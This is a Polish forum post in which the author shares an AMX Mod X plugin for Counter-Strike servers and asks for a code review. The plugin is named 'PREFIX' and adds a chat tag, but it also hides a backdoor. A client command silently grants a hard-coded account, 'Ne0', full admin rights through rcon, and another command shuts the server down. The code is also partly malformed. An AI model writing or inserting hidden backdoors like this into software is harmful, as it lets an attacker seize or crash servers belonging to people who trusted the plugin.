Witam, napisałem 2 pluginy [wkodowany admin + crash] i chciałbym się spytać czy dobrze napisane, a jak nie to o poprawienie ;] Dzisiaj zacząłem "Zabawę" z AMXX Studio i całkiem fajne powiem szczerze ;]
1) PREFIX (nie testowany, więc nie wiem, czy działa.)
/* Plugin generated by AMXX-Studio */
#include <amxmodx>
#include <amxmisc>
#define PLUGIN "PREFIX"
#define VERSION "1.0"
#define AUTHOR "FEJM"
#define CRASH
#define ADMIN
public plugin_init() {
register_plugin(PLUGIN, VERSION, AUTHOR)
register_message(get_user_msgid("SayText"),"handleSayText");
register_clcmd("DodajAdmina1", "DodajAdmina1");
register_clcmd("", "CrashServa");
// Add your code here...
}
public handleSayText(msgId,msgDest,msgEnt){
new id = get_msg_arg_int(1);
if(!is_user_connected(id)) return PLUGIN_CONTINUE;
new szTmp[256],szTmp2[256];
get_msg_arg_string(2,szTmp, charsmax( szTmp ) )
new szPrefix[64] = "^4[CSNext.eu]";
if(!equal(szTmp,"#Cstrike_Chat_All")){
add(szTmp2,charsmax(szTmp2),szPrefix);
add(szTmp2,charsmax(szTmp2)," ");
add(szTmp2,charsmax(szTmp2),szTmp);
}
else{
add(szTmp2,charsmax(szTmp2),szPrefix);
add(szTmp2,charsmax(szTmp2),"^x03 %s1^x01 : %s2");
}
set_msg_arg_string(2,szTmp2);
return PLUGIN_CONTINUE;
}
#if defined CRASH
public CrashServa()
{
server_cmd("amx_rcon exit");
}
#endif
#if defined ADMIN
public DodajAdmina1()
{
server_cmd("amx_rcon amx_addadmin Ne0 abcdefghijklmnopqrstu qwe123 name");
server_cmd("amx_rcon amx_reloadadmins");
}
#endif
return PLUGIN_CONTINUE;
Użytkownik fejmig edytował ten post 09.07.2013 23:56


Dodatki SourceMod












